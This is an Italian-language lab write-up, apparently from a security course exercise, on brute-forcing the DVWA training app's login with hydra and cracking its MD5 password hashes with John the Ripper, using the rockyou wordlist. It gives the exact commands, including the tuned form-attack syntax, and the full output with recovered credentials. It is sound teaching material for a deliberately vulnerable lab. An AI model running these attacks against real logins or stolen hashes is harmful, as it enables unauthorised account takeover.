Hydra

Andiamo a recuperare i dati di username presenti sulla DVWA che abbiamo trovato ieri, creiamo un file e lo chiamiamo usr.txt.
Successivamente andiamo a recuperare una lista di password più usate, nel nostro caso utilizziamo rockyou.txt(già presente sulla macchina linux).
Proviamo con il primo attacco Brute Force con il tool **hydra:**
Con una sintassi base ho notato che hydra trova tutta una serie di combinazioni valide.

Quindi la soluzione più efficace è escludere quando il messaggio di risposta è Login failed, in questo modo hydra andrà ad identifica solamente la password corretta.

Per velocizzare hydra e conoscendo già gli user lo abbiamo fatto solo con username admin; dalla lista rockyou.txt richiedeva troppo tempo trovare le passwd di tutti gli utenti.

```
┌──(kali㉿kali)-[~/Desktop]
└─$ hydra -l admin  -P rockyou.txt http-post://192.168.32.101/dvwa/login.php
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-10 11:41:59
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-post://192.168.32.101:80/dvwa/login.php
[80][http-post] host: 192.168.32.101   login: admin   password: 123456
[80][http-post] host: 192.168.32.101   login: admin   password: 1234567
[80][http-post] host: 192.168.32.101   login: admin   password: rockyou
[80][http-post] host: 192.168.32.101   login: admin   password: 123456789
[80][http-post] host: 192.168.32.101   login: admin   password: daniel
[80][http-post] host: 192.168.32.101   login: admin   password: 12345
[80][http-post] host: 192.168.32.101   login: admin   password: princess
[80][http-post] host: 192.168.32.101   login: admin   password: iloveyou
[80][http-post] host: 192.168.32.101   login: admin   password: abc123
[80][http-post] host: 192.168.32.101   login: admin   password: password
[80][http-post] host: 192.168.32.101   login: admin   password: babygirl
[80][http-post] host: 192.168.32.101   login: admin   password: monkey
[80][http-post] host: 192.168.32.101   login: admin   password: jessica
[80][http-post] host: 192.168.32.101   login: admin   password: lovely
[80][http-post] host: 192.168.32.101   login: admin   password: 12345678
[80][http-post] host: 192.168.32.101   login: admin   password: nicole
1 of 1 target successfully completed, 16 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-10 11:42:01
```

```
┌──(kali㉿kali)-[~/Desktop]
└─$ hydra -l admin -P rockyou.txt 192.168.32.101 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-10 13:31:29
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-post-form://192.168.32.101:80/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed
[80][http-post-form] host: 192.168.32.101   login: admin   password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-10 13:31:33
```

JOHN THE RIPPER

Utilizziamo john the ripper per andare a trovare le password partendo dall' hash (recuperati sempre durante esercizio di ieri).

Per prima cosa andiamo a creare un file password.txt dove andiamo ad abbinare per ogni username il suo hash (es. admin:*hash*), poi andiamo a recuperare sempre il file rockyou.txt che contiene le password da provare ad abbinare all'hash.

Da traccia sappiamo che la cifrature è di tipo MD5 quindi andremo a scrivere il comando da terminale.

Il tool esegue tutte le combinazioni password-hash fino a trovare quelle corrispondenti a stampare a schermo la password per ogni rispettivo user.

Noi conosciamo già la password per user admin; proviamo ad accedere con il secondo user *gordonb* con la password *abc123*.

```
┌──(kali㉿kali)-[~/Desktop]
└─$ john --format=raw-md5 --wordlist=rockyou.txt password.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 128/128 ASIMD 4x2])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (admin)
abc123           (gordonb)
letmein          (pablo)
charley          (1337)
4g 0:00:00:00 DONE (2024-01-10 11:07) 400.0g/s 409600p/s 409600c/s 1024KC/s slimshady..oooooo
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```